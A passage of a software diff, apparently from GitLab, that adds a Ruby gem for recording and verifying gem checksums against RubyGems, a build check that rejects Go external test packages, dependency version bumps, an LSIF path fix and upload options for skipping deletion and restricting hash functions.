+ $stderr.puts "Adding #{spec_identifier}"
+
+ compact_index_dependencies = compact_index_cache.dependencies(spec.name).select { |item| item.first == spec.version.to_s }
+
+ if !compact_index_dependencies.empty?
+ compact_index_checksums = compact_index_dependencies.map do |version, platform, dependencies, requirements|
+ {
+ name: spec.name,
+ version: spec.version.to_s,
+ platform: Gem::Platform.new(platform).to_s,
+ checksum: requirements.detect { |requirement| requirement.first == 'checksum' }.flatten[1]
+ }
+ end
+
+ checksums += compact_index_checksums.sort_by { |hash| hash.values }
+ else
+ remote_checksum = Helper.remote_checksums_for_gem(spec.name, spec.version)
+
+ if remote_checksum.empty?
+ raise "#{spec.name} #{spec.version} not found on Rubygems!"
+ end
+
+ checksums += remote_checksum.sort_by { |hash| hash.values }
+ end
+ end
+
+ File.write(checksum_file, JSON.generate(checksums, array_nl: "\n") + "\n")
+ end
+
+ private
+
+ def previous_checksums
+ @previous_checksums ||=
+ if File.exist?(checksum_file)
+ ::BundlerChecksum.checksums_from_file
+ else
+ []
+ end
+ end
+
+ def checksum_file
+ ::BundlerChecksum.checksum_file
+ end
+
+ def lockfile
+ lockfile_path = Bundler.default_lockfile
+ lockfile = Bundler::LockfileParser.new(Bundler.read_file(lockfile_path))
+ end
+ end
+end
diff --git a/vendor/gems/bundler-checksum/lib/bundler_checksum/command/verify.rb b/vendor/gems/bundler-checksum/lib/bundler_checksum/command/verify.rb
new file mode 100644
index 00000000000..e6a52ded42c
--- /dev/null
+++ b/vendor/gems/bundler-checksum/lib/bundler_checksum/command/verify.rb
@@ -0,0 +1,52 @@
+# frozen_string_literal: true
+
+module BundlerChecksum::Command
+ module Verify
+ extend self
+
+ def execute
+ $stderr.puts 'Verifying bundle checksums'
+
+ verified = true
+
+ local_checksums.each do |gem|
+ name = gem.fetch(:name)
+ version = gem.fetch(:version)
+ platform = gem.fetch(:platform)
+ checksum = gem.fetch(:checksum)
+
+ $stderr.puts "Verifying #{name}==#{version} #{platform}"
+ unless validate_gem_checksum(name, version, platform, checksum)
+ verified = false
+ end
+ end
+
+ verified
+ end
+
+ private
+
+ def local_checksums
+ ::BundlerChecksum.checksums_from_file
+ end
+
+ def validate_gem_checksum(gem_name, gem_version, gem_platform, local_checksum)
+ remote_checksums = Helper.remote_checksums_for_gem(gem_name, gem_version)
+ if remote_checksums.empty?
+ $stderr.puts "#{gem_name} #{gem_version} not found on Rubygems, skipping"
+ return false
+ end
+
+ remote_platform_checksum = remote_checksums.find { |g| g[:name] == gem_name && g[:platform] == gem_platform.to_s }
+
+ if local_checksum == remote_platform_checksum[:checksum]
+ true
+ else
+ $stderr.puts "Gem #{gem_name} #{gem_version} #{gem_platform} failed checksum verification"
+ $stderr.puts "LOCAL: #{local_checksum}"
+ $stderr.puts "REMOTE: #{remote_platform_checksum[:checksum]}"
+ return false
+ end
+ end
+ end
+end
diff --git a/vendor/gems/bundler-checksum/lib/bundler_checksum/version.rb b/vendor/gems/bundler-checksum/lib/bundler_checksum/version.rb
new file mode 100644
index 00000000000..367a9e49a47
--- /dev/null
+++ b/vendor/gems/bundler-checksum/lib/bundler_checksum/version.rb
@@ -0,0 +1,6 @@
+# frozen_string_literal: true
+
+module BundlerChecksum
+ # bundler-checksum version
+ VERSION = '0.1.0'
+end
diff --git a/vendor/gems/bundler-checksum/test/project_with_checksum_lock/Gemfile b/vendor/gems/bundler-checksum/test/project_with_checksum_lock/Gemfile
index 238bd09669f..503cf4587fa 100644
--- a/vendor/gems/bundler-checksum/test/project_with_checksum_lock/Gemfile
+++ b/vendor/gems/bundler-checksum/test/project_with_checksum_lock/Gemfile
@@ -5,7 +5,7 @@ source 'https://rubygems.org'
if ENV['BUNDLER_CHECKSUM_VERIFICATION_OPT_IN'] # this verification is still experimental
$:.unshift(File.expand_path('../../lib', __dir__))
require 'bundler-checksum'
- Bundler::Checksum.patch!
+ BundlerChecksum.patch!
end
gem 'rails', '~> 6.1.6.1'
diff --git a/workhorse/Makefile b/workhorse/Makefile
index a0412f5e2e1..4236a1a0d8e 100644
--- a/workhorse/Makefile
+++ b/workhorse/Makefile
@@ -144,7 +144,7 @@ testdata/scratch:
mkdir -p testdata/scratch
.PHONY: verify
-verify: lint vet detect-context detect-assert check-formatting staticcheck deps-check
+verify: lint vet detect-context detect-assert detect-external-tests check-formatting staticcheck deps-check
.PHONY: lint
lint:
@@ -167,6 +167,11 @@ detect-assert:
$(call message,Verify: $@)
_support/detect-assert.sh
+.PHONY: detect-external-tests
+detect-external-tests:
+ $(call message,Verify: $@)
+ _support/detect-external-tests.sh
+
.PHONY: check-formatting
check-formatting: install-goimports
$(call message,Verify: $@)
diff --git a/workhorse/_support/detect-external-tests.sh b/workhorse/_support/detect-external-tests.sh
new file mode 100755
index 00000000000..865bd1447e1
--- /dev/null
+++ b/workhorse/_support/detect-external-tests.sh
@@ -0,0 +1,11 @@
+#!/bin/sh
+go list -f '{{join .XTestGoFiles "\n"}}' ./... | awk '
+ { print }
+ END {
+ if(NR>0) {
+ print "Please avoid using external test packages (package foobar_test) in Workhorse."
+ print "See https://gitlab.com/gitlab-org/gitlab/-/merge_requests/107373."
+ exit(1)
+ }
+ }
+'
diff --git a/workhorse/go.mod b/workhorse/go.mod
index 80c017ad1cb..bc40134cdeb 100644
--- a/workhorse/go.mod
+++ b/workhorse/go.mod
@@ -7,7 +7,7 @@ require (
github.com/BurntSushi/toml v1.2.1
github.com/FZambia/sentinel v1.1.1
github.com/alecthomas/chroma/v2 v2.4.0
- github.com/aws/aws-sdk-go v1.44.157
+ github.com/aws/aws-sdk-go v1.44.180
github.com/disintegration/imaging v1.6.2
github.com/getsentry/raven-go v0.2.0
github.com/golang-jwt/jwt/v4 v4.4.3
@@ -17,7 +17,7 @@ require (
github.com/gorilla/websocket v1.5.0
github.com/grpc-ecosystem/go-grpc-middleware v1.3.0
github.com/grpc-ecosystem/go-grpc-prometheus v1.2.0
- github.com/johannesboyne/gofakes3 v0.0.0-20221128113635-c2f5cc6b5294
+ github.com/johannesboyne/gofakes3 v0.0.0-20230108161031-df26ca44a1e9
github.com/jpillora/backoff v1.0.0
github.com/mitchellh/copystructure v1.2.0
github.com/prometheus/client_golang v1.14.0
@@ -26,9 +26,9 @@ require (
github.com/sirupsen/logrus v1.9.0
github.com/smartystreets/goconvey v1.7.2
github.com/stretchr/testify v1.8.1
- gitlab.com/gitlab-org/gitaly/v15 v15.6.2
+ gitlab.com/gitlab-org/gitaly/v15 v15.7.0
gitlab.com/gitlab-org/golang-archive-zip v0.1.1
- gitlab.com/gitlab-org/labkit v1.16.1
+ gitlab.com/gitlab-org/labkit v1.17.0
gocloud.dev v0.27.0
golang.org/x/image v0.0.0-20220722155232-062f8c9fd539
golang.org/x/lint v0.0.0-20210508222113-6edffad5e616
@@ -111,7 +111,7 @@ require (
golang.org/x/exp/typeparams v0.0.0-20220218215828-6cf2b201936e // indirect
golang.org/x/mod v0.6.0-dev.0.20220419223038-86c51ed26bb4 // indirect
golang.org/x/sync v0.1.0 // indirect
- golang.org/x/sys v0.1.0 // indirect
+ golang.org/x/sys v0.2.0 // indirect
golang.org/x/text v0.4.0 // indirect
golang.org/x/time v0.2.0 // indirect
golang.org/x/xerrors v0.0.0-20220609144429-65e65417b02f // indirect
diff --git a/workhorse/go.sum b/workhorse/go.sum
index 5e095f5b417..836c53afcd2 100644
--- a/workhorse/go.sum
+++ b/workhorse/go.sum
@@ -221,15 +221,15 @@ github.com/asaskevich/govalidator v0.0.0-20210307081110-f21760c49a8d/go.mod h1:W
github.com/aws/aws-lambda-go v1.13.3/go.mod h1:4UKl9IzQMoD+QF79YdCuzCwp8VbmG4VAQwij/eHl5CU=
github.com/aws/aws-sdk-go v1.15.11/go.mod h1:mFuSZ37Z9YOHbQEwBWztmVzqXrEkub65tZoCYDt7FT0=
github.com/aws/aws-sdk-go v1.15.27/go.mod h1:mFuSZ37Z9YOHbQEwBWztmVzqXrEkub65tZoCYDt7FT0=
-github.com/aws/aws-sdk-go v1.17.4/go.mod h1:KmX6BPdI08NWTb3/sm4ZGu5ShLoqVDhKgpiN924inxo=
github.com/aws/aws-sdk-go v1.27.0/go.mod h1:KmX6BPdI08NWTb3/sm4ZGu5ShLoqVDhKgpiN924inxo=
+github.com/aws/aws-sdk-go v1.33.0/go.mod h1:5zCpMtNQVjRREroY7sYe8lOMRSxkhG6MZveU8YkpAk0=
github.com/aws/aws-sdk-go v1.38.35/go.mod h1:hcU610XS61/+aQV88ixoOzUoG7v3b31pl2zKMmprdro=
github.com/aws/aws-sdk-go v1.43.11/go.mod h1:y4AeaBuwd2Lk+GepC1E9v0qOiTws0MIWAX4oIKwKHZo=
github.com/aws/aws-sdk-go v1.43.31/go.mod h1:y4AeaBuwd2Lk+GepC1E9v0qOiTws0MIWAX4oIKwKHZo=
github.com/aws/aws-sdk-go v1.44.45/go.mod h1:y4AeaBuwd2Lk+GepC1E9v0qOiTws0MIWAX4oIKwKHZo=
github.com/aws/aws-sdk-go v1.44.68/go.mod h1:y4AeaBuwd2Lk+GepC1E9v0qOiTws0MIWAX4oIKwKHZo=
-github.com/aws/aws-sdk-go v1.44.157 h1:JVBPpEWC8+yA7CbfAuTl/ZFFlHS3yoqWFqxFyTCISwg=
-github.com/aws/aws-sdk-go v1.44.157/go.mod h1:aVsgQcEevwlmQ7qHE9I3h+dtQgpqhFB+i8Phjh7fkwI=
+github.com/aws/aws-sdk-go v1.44.180 h1:VLZuAHI9fa/3WME5JjpVjcPCNfpGHVMiHx8sLHWhMgI=
+github.com/aws/aws-sdk-go v1.44.180/go.mod h1:aVsgQcEevwlmQ7qHE9I3h+dtQgpqhFB+i8Phjh7fkwI=
github.com/aws/aws-sdk-go-v2 v0.18.0/go.mod h1:JWVYvqSMppoMJC0x5wdwiImzgXTI9FuZwxzkQq9wy+g=
github.com/aws/aws-sdk-go-v2 v1.16.8 h1:gOe9UPR98XSf7oEJCcojYg+N2/jCRm4DdeIsP85pIyQ=
github.com/aws/aws-sdk-go-v2 v1.16.8/go.mod h1:6CpKuLXg2w7If3ABZCl/qZ6rEgwtjZTn4eAf4RcEyuw=
@@ -629,6 +629,7 @@ github.com/go-playground/universal-translator v0.17.0/go.mod h1:UkSxE5sNxxRwHyU+
github.com/go-playground/validator/v10 v10.4.1/go.mod h1:nlOn6nFhuKACm19sB/8EGNn9GlaMV7XkbRSipzJ0Ii4=
github.com/go-resty/resty/v2 v2.1.1-0.20191201195748-d7b97669fe48/go.mod h1:dZGr0i9PLlaaTD4H/hoZIDjQ+r6xq8mgbRzHZf7f2J8=
github.com/go-sql-driver/mysql v1.4.0/go.mod h1:zAC/RDZ24gD3HViQzih4MyKcchzm+sOG5ZlKdlhCg5w=
+github.com/go-sql-driver/mysql v1.5.0/go.mod h1:DCzpHaOWr8IXmIStZouvnhqoel9Qv2LBy8hT2VhHyBg=
github.com/go-sql-driver/mysql v1.6.0/go.mod h1:DCzpHaOWr8IXmIStZouvnhqoel9Qv2LBy8hT2VhHyBg=
github.com/go-stack/stack v1.6.0/go.mod h1:v0f6uXyyMGvRgIKkXu+yp6POWl0qKG85gN/melR3HDY=
github.com/go-stack/stack v1.8.0/go.mod h1:v0f6uXyyMGvRgIKkXu+yp6POWl0qKG85gN/melR3HDY=
@@ -974,13 +975,14 @@ github.com/jessevdk/go-flags v1.5.0/go.mod h1:Fw0T6WPc1dYxT4mKEZRfG5kJhaTDP9pj1c
github.com/jmespath/go-jmespath v0.0.0-20160202185014-0b12d6b521d8/go.mod h1:Nht3zPeWKUH0NzdCt2Blrr5ys8VGpn0CEB0cQHVjt7k=
github.com/jmespath/go-jmespath v0.0.0-20160803190731-bd40a432e4c7/go.mod h1:Nht3zPeWKUH0NzdCt2Blrr5ys8VGpn0CEB0cQHVjt7k=
github.com/jmespath/go-jmespath v0.0.0-20180206201540-c2b33e8439af/go.mod h1:Nht3zPeWKUH0NzdCt2Blrr5ys8VGpn0CEB0cQHVjt7k=
+github.com/jmespath/go-jmespath v0.3.0/go.mod h1:9QtRXoHjLGCJ5IBSaohpXITPlowMeeYCZ7fLUTSywik=
github.com/jmespath/go-jmespath v0.4.0 h1:BEgLn5cpjn8UN1mAw4NjwDrS35OdebyEtFe+9YPoQUg=
github.com/jmespath/go-jmespath v0.4.0/go.mod h1:T8mJZnbsbmF+m6zOOFylbeCJqk5+pHWvzYPziyZiYoo=
github.com/jmespath/go-jmespath/internal/testify v1.5.1 h1:shLQSRRSCCPj3f2gpwzGwWFoC7ycTf1rcQZHOlsJ6N8=
github.com/jmespath/go-jmespath/internal/testify v1.5.1/go.mod h1:L3OGu8Wl2/fWfCI6z80xFu9LTZmf1ZRjMHUOPmWr69U=
github.com/joefitzgerald/rainbow-reporter v0.1.0/go.mod h1:481CNgqmVHQZzdIbN52CupLJyoVwB10FQ/IQlF1pdL8=
-github.com/johannesboyne/gofakes3 v0.0.0-20221128113635-c2f5cc6b5294 h1:AJISYN7tPo3lGqwYmEYQdlftcQz48i8LNk/BRUKCTig=
-github.com/johannesboyne/gofakes3 v0.0.0-20221128113635-c2f5cc6b5294/go.mod h1:LIAXxPvcUXwOcTIj9LSNSUpE9/eMHalTWxsP/kmWxQI=
+github.com/johannesboyne/gofakes3 v0.0.0-20230108161031-df26ca44a1e9 h1:PqhUbDge60cL99naOP9m3W0MiQtWc5kwteQQ9oU36PA=
+github.com/johannesboyne/gofakes3 v0.0.0-20230108161031-df26ca44a1e9/go.mod h1:Cnosl0cRZIfKjTMuH49sQog2LeNsU5Hf4WnPIDWIDV0=
github.com/joho/godotenv v1.3.0/go.mod h1:7hK45KPybAkOC6peb+G5yklZfMxEjkZhHbwpqxOKXbg=
github.com/jonboulle/clockwork v0.1.0/go.mod h1:Ii8DK3G1RaLaWxj9trq07+26W01tbo22gdxWY5EU2bo=
github.com/jonboulle/clockwork v0.2.2/go.mod h1:Pkfl5aHPm1nk2H9h0bjmnJD/BcgbGXUBGnn1kMkgxc8=
@@ -1486,12 +1488,12 @@ github.com/yvasiyarov/go-metrics v0.0.0-20140926110328-57bccd1ccd43/go.mod h1:aX
github.com/yvasiyarov/gorelic v0.0.0-20141212073537-a9bba5b9ab50/go.mod h1:NUSPSUX/bi6SeDMUh6brw0nXpxHnc96TguQh0+r/ssA=
github.com/yvasiyarov/newrelic_platform_go v0.0.0-20140908184405-b21fdbd4370f/go.mod h1:GlGEuHIJweS1mbCqG+7vt2nvWLzLLnRHbXz5JKd/Qbg=
github.com/zenazn/goji v0.9.0/go.mod h1:7S9M489iMyHBNxwZnk9/EHS098H4/F6TATF2mIxtB1Q=
-gitlab.com/gitlab-org/gitaly/v15 v15.6.2 h1:ivbMoXWgkDSJebuIFtPYGAIQ9/2P5ShxJoHt0cflwfo=
-gitlab.com/gitlab-org/gitaly/v15 v15.6.2/go.mod h1:RKa+3ADKfTonDb1pe8AtppdNHNeOM+ChtMmB7T0QWhY=
+gitlab.com/gitlab-org/gitaly/v15 v15.7.0 h1:dpcupsBqQSjp+AJ3Wy2UdNSIZKUAtyXbUcktq2uRakw=
+gitlab.com/gitlab-org/gitaly/v15 v15.7.0/go.mod h1:s37u+W94lg3T7cv+i+v5WtstyHvuKV1JlwYJNznZVJE=
gitlab.com/gitlab-org/golang-archive-zip v0.1.1 h1:35k9giivbxwF03+8A05Cm8YoxoakU8FBCj5gysjCTCE=
gitlab.com/gitlab-org/golang-archive-zip v0.1.1/go.mod h1:ZDtqpWPGPB9qBuZnZDrKQjIdJtkN7ZAoVwhT6H2o2kE=
-gitlab.com/gitlab-org/labkit v1.16.1 h1:J+HmNVR5bvPfrv9/fgKICFis2nmEugRXHMeRPvsVZUg=
-gitlab.com/gitlab-org/labkit v1.16.1/go.mod h1:tzZLVHeb0/Jrm9fPFdYuCrKmrYjfjEA0NmuLPXvvM+0=
+gitlab.com/gitlab-org/labkit v1.17.0 h1:mEkoLzXorLNdt8NkfgYS5xMDhdqCsIJaeEVtSf7d8cU=
+gitlab.com/gitlab-org/labkit v1.17.0/go.mod h1:nlLJvKgXcIclqWMI+rga2TckNBVHOtRCHMxBoVByNoE=
go.etcd.io/bbolt v1.3.2/go.mod h1:IbVyRI1SCnLcuJnV2u8VeU0CEYM7e686BmAb1XKL+uU=
go.etcd.io/bbolt v1.3.3/go.mod h1:IbVyRI1SCnLcuJnV2u8VeU0CEYM7e686BmAb1XKL+uU=
go.etcd.io/bbolt v1.3.5/go.mod h1:G5EMThwa9y8QZGBClrRx5EY+Yw9kAhnjy3bSjsnlVTQ=
@@ -1680,7 +1682,6 @@ golang.org/x/net v0.0.0-20181220203305-927f97764cc3/go.mod h1:mL1N/T3taQHkDXs73r
golang.org/x/net v0.0.0-20190108225652-1e06a53dbb7e/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
golang.org/x/net v0.0.0-20190125091013-d26f9f9a57f3/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
golang.org/x/net v0.0.0-20190213061140-3a22650c66bd/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
-golang.org/x/net v0.0.0-20190310074541-c10a0554eabf/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
golang.org/x/net v0.0.0-20190311183353-d8887717615a/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg=
golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg=
golang.org/x/net v0.0.0-20190501004415-9ce7a6920f09/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg=
@@ -1935,8 +1936,9 @@ golang.org/x/sys v0.0.0-20220715151400-c0bba94af5f8/go.mod h1:oPkhp1MJrh7nUepCBc
golang.org/x/sys v0.0.0-20220722155257-8c9f86f7a55f/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.0.0-20220728004956-3c1f35247d10/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.0.0-20220731174439-a90be440212d/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
-golang.org/x/sys v0.1.0 h1:kunALQeHf1/185U1i0GOB/fy1IPRDDpuoOOqRReG57U=
golang.org/x/sys v0.1.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
+golang.org/x/sys v0.2.0 h1:ljd4t30dBnAvMZaQCevtY0xLLD0A+bRZXbgLMLU1F/A=
+golang.org/x/sys v0.2.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/term v0.0.0-20201117132131-f5c789dd3221/go.mod h1:Nr5EML6q2oocZ2LXRh80K7BxOlk5/8JxuGnuhpl+muw=
golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo=
golang.org/x/term v0.0.0-20210220032956-6a3ed077a48d/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo=
diff --git a/workhorse/internal/api/api.go b/workhorse/internal/api/api.go
index 1758bb5a6a8..8a7fb191ec4 100644
--- a/workhorse/internal/api/api.go
+++ b/workhorse/internal/api/api.go
@@ -98,6 +98,8 @@ type RemoteObject struct {
GetURL string
// DeleteURL is a presigned S3 RemoveObject URL
DeleteURL string
+ // Whether Workhorse needs to delete the temporary object or not.
+ SkipDelete bool
// StoreURL is the temporary presigned S3 PutObject URL to which upload the first found file
StoreURL string
// Boolean to indicate whether to use headers included in PutHeaders
@@ -161,6 +163,8 @@ type Response struct {
ProcessLsif bool
// The maximum accepted size in bytes of the upload
MaximumSize int64
+ // A list of permitted hash functions. If empty, then all available are permitted.
+ UploadHashFunctions []string
}
type GitalyServer struct {
diff --git a/workhorse/internal/lsif_transformer/parser/docs.go b/workhorse/internal/lsif_transformer/parser/docs.go
index f87bc7fd86c..9cdec4c8d42 100644
--- a/workhorse/internal/lsif_transformer/parser/docs.go
+++ b/workhorse/internal/lsif_transformer/parser/docs.go
@@ -5,6 +5,7 @@ import (
"bufio"
"encoding/json"
"io"
+ "path/filepath"
"strings"
)
@@ -116,7 +117,7 @@ func (d *Docs) addMetadata(line []byte) error {
return err
}
- d.Root = strings.TrimSpace(metadata.Root) + "/"
+ d.Root = strings.TrimSpace(metadata.Root)
return nil
}
@@ -127,7 +128,12 @@ func (d *Docs) addDocument(line []byte) error {
return err
}
- d.Entries[doc.Id] = strings.TrimPrefix(doc.Uri, d.Root)
+ relativePath, err := filepath.Rel(d.Root, doc.Uri)
+ if err != nil {
+ relativePath = doc.Uri
+ }
+
+ d.Entries[doc.Id] = relativePath
return nil
}
diff --git a/workhorse/internal/lsif_transformer/parser/docs_test.go b/workhorse/internal/lsif_transformer/parser/docs_test.go
index 24e3eba8ac5..805bc53c0b7 100644
--- a/workhorse/internal/lsif_transformer/parser/docs_test.go
+++ b/workhorse/internal/lsif_transformer/parser/docs_test.go
@@ -18,16 +18,32 @@ func TestParse(t *testing.T) {
require.NoError(t, err)
defer d.Close()
- data := []byte(`{"id":"1","label":"metaData","projectRoot":"file:///Users/nested"}` + "\n")
- data = append(data, createLine("2", "document", "file:///Users/nested/file.rb")...)
- data = append(data, createLine("3", "document", "file:///Users/nested/folder/file.rb")...)
- data = append(data, createLine("4", "document", "file:///Users/wrong/file.rb")...)
+ for _, root := range []string{
+ "file:///Users/nested",
+ "file:///Users/nested/.",
+ "file:///Users/nested/",
+ } {
+ t.Run("Document with root: "+root, func(t *testing.T) {
+ data := []byte(`{"id":"1","label":"metaData","projectRoot":"` + root + `"}` + "\n")
+ data = append(data, createLine("2", "document", "file:///Users/nested/file.rb")...)
+ data = append(data, createLine("3", "document", "file:///Users/nested/folder/file.rb")...)
- require.NoError(t, d.Parse(bytes.NewReader(data)))
+ require.NoError(t, d.Parse(bytes.NewReader(data)))
+
+ require.Equal(t, "file.rb", d.Entries[2])
+ require.Equal(t, "folder/file.rb", d.Entries[3])
+ })
+ }
+
+ t.Run("Relative path cannot be calculated", func(t *testing.T) {
+ originalUri := "file:///Users/nested/folder/file.rb"
+ data := []byte(`{"id":"1","label":"metaData","projectRoot":"/a"}` + "\n")
+ data = append(data, createLine("2", "document", originalUri)...)
+
+ require.NoError(t, d.Parse(bytes.NewReader(data)))
- require.Equal(t, d.Entries[2], "file.rb")
- require.Equal(t, d.Entries[3], "folder/file.rb")
- require.Equal(t, d.Entries[4], "file:///Users/wrong/file.rb")
+ require.Equal(t, originalUri, d.Entries[2])
+ })
}
func TestParseContainsLine(t *testing.T) {
diff --git a/workhorse/internal/upload/body_uploader_test.go b/workhorse/internal/upload/body_uploader_test.go
index eff33757845..837d119e72e 100644
--- a/workhorse/internal/upload/body_uploader_test.go
+++ b/workhorse/internal/upload/body_uploader_test.go
@@ -92,11 +92,7 @@ func echoProxy(t *testing.T, expectedBodyLength int) http.Handler {
require.Equal(t, "application/x-www-form-urlencoded", r.Header.Get("Content-Type"), "Wrong Content-Type header")
- if destination.FIPSEnabled() {
- require.NotContains(t, r.PostForm, "file.md5")
- } else {
- require.Contains(t, r.PostForm, "file.md5")
- }
+ require.Contains(t, r.PostForm, "file.md5")
require.Contains(t, r.PostForm, "file.sha1")
require.Contains(t, r.PostForm, "file.sha256")
require.Contains(t, r.PostForm, "file.sha512")
@@ -123,11 +119,7 @@ func echoProxy(t *testing.T, expectedBodyLength int) http.Handler {
require.Contains(t, uploadFields, "remote_url")
require.Contains(t, uploadFields, "remote_id")
require.Contains(t, uploadFields, "size")
- if destination.FIPSEnabled() {
- require.NotContains(t, uploadFields, "md5")
- } else {
- require.Contains(t, uploadFields, "md5")
- }
+ require.Contains(t, uploadFields, "md5")
require.Contains(t, uploadFields, "sha1")
require.Contains(t, uploadFields, "sha256")
require.Contains(t, uploadFields, "sha512")
diff --git a/workhorse/internal/upload/destination/destination.go b/workhorse/internal/upload/destination/destination.go
index 5e145e2cb2a..a9fb81540d5 100644
--- a/workhorse/internal/upload/destination/destination.go
+++ b/workhorse/internal/upload/destination/destination.go
@@ -108,6 +108,7 @@ func (fh *FileHandler) GitLabFinalizeFields(prefix string) (map[string]string, e
type consumer interface {
Consume(context.Context, io.Reader, time.Time) (int64, error)
+ ConsumeWithoutDelete(context.Context, io.Reader, time.Time) (int64, error)
}
// Upload persists the provided reader content to all the location specified in opts. A cleanup will be performed once ctx is Done
@@ -120,7 +121,7 @@ func Upload(ctx context.Context, reader io.Reader, size int64, name string, opts
}
uploadStartTime := time.Now()
defer func() { fh.uploadDuration = time.Since(uploadStartTime).Seconds() }()
- hashes := newMultiHash()
+ hashes := newMultiHash(opts.UploadHashFunctions)
reader = io.TeeReader(reader, hashes.Writer)
var clientMode string
@@ -185,7 +186,12 @@ func Upload(ctx context.Context, reader io.Reader, size int64, name string, opts
reader = hlr
}
- fh.Size, err = uploadDestination.Consume(ctx, reader, opts.Deadline)
+ if opts.SkipDelete {
+ fh.Size, err = uploadDestination.ConsumeWithoutDelete(ctx, reader, opts.Deadline)
+ } else {
+ fh.Size, err = uploadDestination.Consume(ctx, reader, opts.Deadline)
+ }
+
if err != nil {
if (err == objectstore.ErrNotEnoughParts) || (hlr != nil && hlr.n < 0) {
err = ErrEntityTooLarge
diff --git a/workhorse/internal/upload/destination/destination_test.go b/workhorse/internal/upload/destination/destination_test.go
index 97645be168f..69dd02ca7c2 100644
--- a/workhorse/internal/upload/destination/destination_test.go
+++ b/workhorse/internal/upload/destination/destination_test.go
@@ -1,4 +1,4 @@
-package destination_test
+package destination
import (
"context"
@@ -17,12 +17,11 @@ import (
"gitlab.com/gitlab-org/gitlab/workhorse/internal/config"
"gitlab.com/gitlab-org/gitlab/workhorse/internal/testhelper"
- "gitlab.com/gitlab-org/gitlab/workhorse/internal/upload/destination"
"gitlab.com/gitlab-org/gitlab/workhorse/internal/upload/destination/objectstore/test"
)
func testDeadline() time.Time {
- return time.Now().Add(destination.DefaultObjectStoreTimeout)
+ return time.Now().Add(DefaultObjectStoreTimeout)
}
func requireFileGetsRemovedAsync(t *testing.T, filePath string) {
@@ -44,10 +43,10 @@ func TestUploadWrongSize(t *testing.T) {
tmpFolder := t.TempDir()
- opts := &destination.UploadOpts{LocalTempPath: tmpFolder}
- fh, err := destination.Upload(ctx, strings.NewReader(test.ObjectContent), test.ObjectSize+1, "upload", opts)
+ opts := &UploadOpts{LocalTempPath: tmpFolder}
+ fh, err := Upload(ctx, strings.NewReader(test.ObjectContent), test.ObjectSize+1, "upload", opts)
require.Error(t, err)
- _, isSizeError := err.(destination.SizeError)
+ _, isSizeError := err.(SizeError)
require.True(t, isSizeError, "Should fail with SizeError")
require.Nil(t, fh)
}
@@ -58,10 +57,10 @@ func TestUploadWithKnownSizeExceedLimit(t *testing.T) {
tmpFolder := t.TempDir()
- opts := &destination.UploadOpts{LocalTempPath: tmpFolder, MaximumSize: test.ObjectSize - 1}
- fh, err := destination.Upload(ctx, strings.NewReader(test.ObjectContent), test.ObjectSize, "upload", opts)
+ opts := &UploadOpts{LocalTempPath: tmpFolder, MaximumSize: test.ObjectSize - 1}
+ fh, err := Upload(ctx, strings.NewReader(test.ObjectContent), test.ObjectSize, "upload", opts)
require.Error(t, err)
- _, isSizeError := err.(destination.SizeError)
+ _, isSizeError := err.(SizeError)
require.True(t, isSizeError, "Should fail with SizeError")
require.Nil(t, fh)
}
@@ -72,9 +71,9 @@ func TestUploadWithUnknownSizeExceedLimit(t *testing.T) {
tmpFolder := t.TempDir()
- opts := &destination.UploadOpts{LocalTempPath: tmpFolder, MaximumSize: test.ObjectSize - 1}
- fh, err := destination.Upload(ctx, strings.NewReader(test.ObjectContent), -1, "upload", opts)
- require.Equal(t, err, destination.ErrEntityTooLarge)
+ opts := &UploadOpts{LocalTempPath: tmpFolder, MaximumSize: test.ObjectSize - 1}
+ fh, err := Upload(ctx, strings.NewReader(test.ObjectContent), -1, "upload", opts)
+ require.Equal(t, err, ErrEntityTooLarge)
require.Nil(t, fh)
}
@@ -94,7 +93,7 @@ func TestUploadWrongETag(t *testing.T) {
objectURL := ts.URL + test.ObjectPath
- opts := &destination.UploadOpts{
+ opts := &UploadOpts{
RemoteID: "test-file",
RemoteURL: objectURL,
PresignedPut: objectURL + "?Signature=ASignature",
@@ -110,7 +109,7 @@ func TestUploadWrongETag(t *testing.T) {
osStub.InitiateMultipartUpload(test.ObjectPath)
}
ctx, cancel := context.WithCancel(context.Background())
- fh, err := destination.Upload(ctx, strings.NewReader(test.ObjectContent), test.ObjectSize, "upload", opts)
+ fh, err := Upload(ctx, strings.NewReader(test.ObjectContent), test.ObjectSize, "upload", opts)
require.Nil(t, fh)
require.Error(t, err)
require.Equal(t, 1, osStub.PutsCnt(), "File not uploaded")
@@ -135,18 +134,22 @@ func TestUpload(t *testing.T) {
tmpFolder := t.TempDir()
tests := []struct {
- name string
- local bool
- remote remote
+ name string
+ local bool
+ remote remote
+ skipDelete bool
}{
{name: "Local only", local: true},
{name: "Remote Single only", remote: remoteSingle},
{name: "Remote Multipart only", remote: remoteMultipart},
+ {name: "Local only With SkipDelete", local: true, skipDelete: true},
+ {name: "Remote Single only With SkipDelete", remote: remoteSingle, skipDelete: true},
+ {name: "Remote Multipart only With SkipDelete", remote: remoteMultipart, skipDelete: true},
}
for _, spec := range tests {
t.Run(spec.name, func(t *testing.T) {
- var opts destination.UploadOpts
+ var opts UploadOpts
